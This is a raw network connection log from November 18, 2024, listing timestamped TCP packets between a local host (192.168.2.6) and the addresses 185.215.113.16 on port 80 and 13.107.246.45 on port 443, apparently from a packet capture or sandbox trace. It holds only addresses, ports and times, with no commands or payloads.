Nov 18, 2024 05:57:54.223423958 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.223475933 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.223475933 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.223912954 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.223925114 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.223936081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.223947048 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.223959923 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.223972082 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.223985910 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.223998070 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224004984 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.224004984 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.224011898 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224023104 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224036932 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.224092007 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.224282026 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224293947 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224335909 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.224340916 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224354029 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224364042 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224375963 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224391937 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.224396944 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224411011 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224411011 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.224422932 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224436045 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224448919 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224464893 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.224464893 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.224468946 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224482059 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224493027 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224503994 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224515915 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224548101 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224559069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224571943 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224582911 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224594116 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224639893 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.224639893 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.224639893 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.224639893 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.224639893 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.224750042 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224786043 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.224806070 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224817038 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224829912 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224845886 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.224912882 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.224912882 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.225044012 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.225055933 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.225066900 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.225080013 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.225089073 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.225097895 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.225111008 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.225112915 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.225123882 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.225133896 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.225184917 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.225184917 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.228651047 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.228665113 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.228687048 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.228697062 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.228729963 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.228771925 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.265729904 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.265749931 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.265763044 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.265818119 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.302865028 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.302897930 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.302911043 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.303047895 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.343117952 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343132973 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343154907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343166113 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343178034 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343203068 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.343233109 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.343252897 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343271971 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343281984 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343295097 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343306065 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343326092 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343337059 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343342066 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.343357086 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.343358040 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.343377113 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.343750000 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343760967 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343775988 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343786955 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343796968 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343807936 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343818903 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343830109 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343841076 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343852997 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343853951 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.343853951 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.343853951 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.343863010 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343873978 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343879938 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.343883991 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343894005 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.343904018 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343914986 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343924999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343924999 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.343936920 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.343971014 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.343971014 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.344083071 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344142914 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344155073 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344165087 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344176054 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344186068 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.344186068 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.344194889 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344206095 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344217062 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344234943 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344247103 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344280958 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.344280958 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.344280958 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.344314098 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344325066 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344335079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344346046 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344357014 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344413042 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.344413042 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.344413042 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.344547987 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344588995 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344599009 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344645977 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.344693899 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344703913 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344713926 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344724894 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344734907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344747066 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344769001 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.344769001 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.344795942 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.344820976 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344831944 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344841957 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.344890118 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.344890118 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.344950914 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.345014095 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.345032930 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.345151901 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.352901936 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.384514093 CET	443	60463	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.385090113 CET	60463	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.385114908 CET	443	60463	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.385322094 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.385344028 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.385354996 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.385366917 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.385411978 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.385523081 CET	60463	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.385529041 CET	443	60463	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.385533094 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.391288996 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.424199104 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.424243927 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.424278975 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.424299002 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.463063955 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463112116 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463129997 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463160038 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.463185072 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.463186026 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463243961 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463278055 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463330984 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463334084 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.463387012 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463421106 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463471889 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463480949 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.463515997 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463567972 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463572025 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.463601112 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463637114 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463658094 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.463670969 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463721991 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463754892 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463782072 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.463788986 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463849068 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463849068 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.463901043 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463933945 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.463944912 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.463972092 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464000940 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464025974 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.464034081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464073896 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464097023 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.464107037 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464159012 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464191914 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464226007 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464252949 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.464258909 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464277983 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.464294910 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464344978 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464379072 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464401960 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.464411020 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464459896 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.464462996 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464495897 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464530945 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464562893 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464596987 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464612961 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.464612961 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.464649916 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464701891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464723110 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.464735031 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464770079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464792967 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.464821100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464870930 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464905024 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464926004 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.464937925 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.464958906 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.464972019 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.465007067 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.465038061 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.465064049 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.465071917 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.465105057 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.465128899 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.465140104 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.465173006 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.465208054 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.465240002 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.465260983 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.465260983 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.465275049 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.465310097 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.465347052 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.499056101 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.505127907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.505163908 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.505198956 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.505220890 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.505310059 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.516680002 CET	443	60463	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.516767025 CET	443	60463	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.516834021 CET	60463	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.517004013 CET	60463	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.517025948 CET	443	60463	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.517052889 CET	60463	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.517060041 CET	443	60463	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.523181915 CET	60468	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.523219109 CET	443	60468	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.523425102 CET	60468	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.532176971 CET	60468	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.532197952 CET	443	60468	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.535084963 CET	443	60464	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.537559986 CET	60464	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.537569046 CET	443	60464	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.538005114 CET	60464	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.538016081 CET	443	60464	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.542227983 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.542258978 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.542309046 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.542327881 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.542346001 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.542380095 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.542459011 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.582986116 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583041906 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583072901 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583126068 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.583158016 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583168983 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.583271980 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583306074 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583324909 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.583384991 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583417892 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583472967 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583476067 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.583522081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583523989 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.583556890 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583606005 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583640099 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583688974 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583705902 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.583724022 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583758116 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583791971 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583798885 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.583823919 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.583826065 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583847046 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.583878994 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583911896 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.583962917 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584013939 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584041119 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.584048033 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584080935 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584131002 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584163904 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584196091 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.584207058 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.584208012 CET	60438	80	192.168.2.6	185.215.113.16
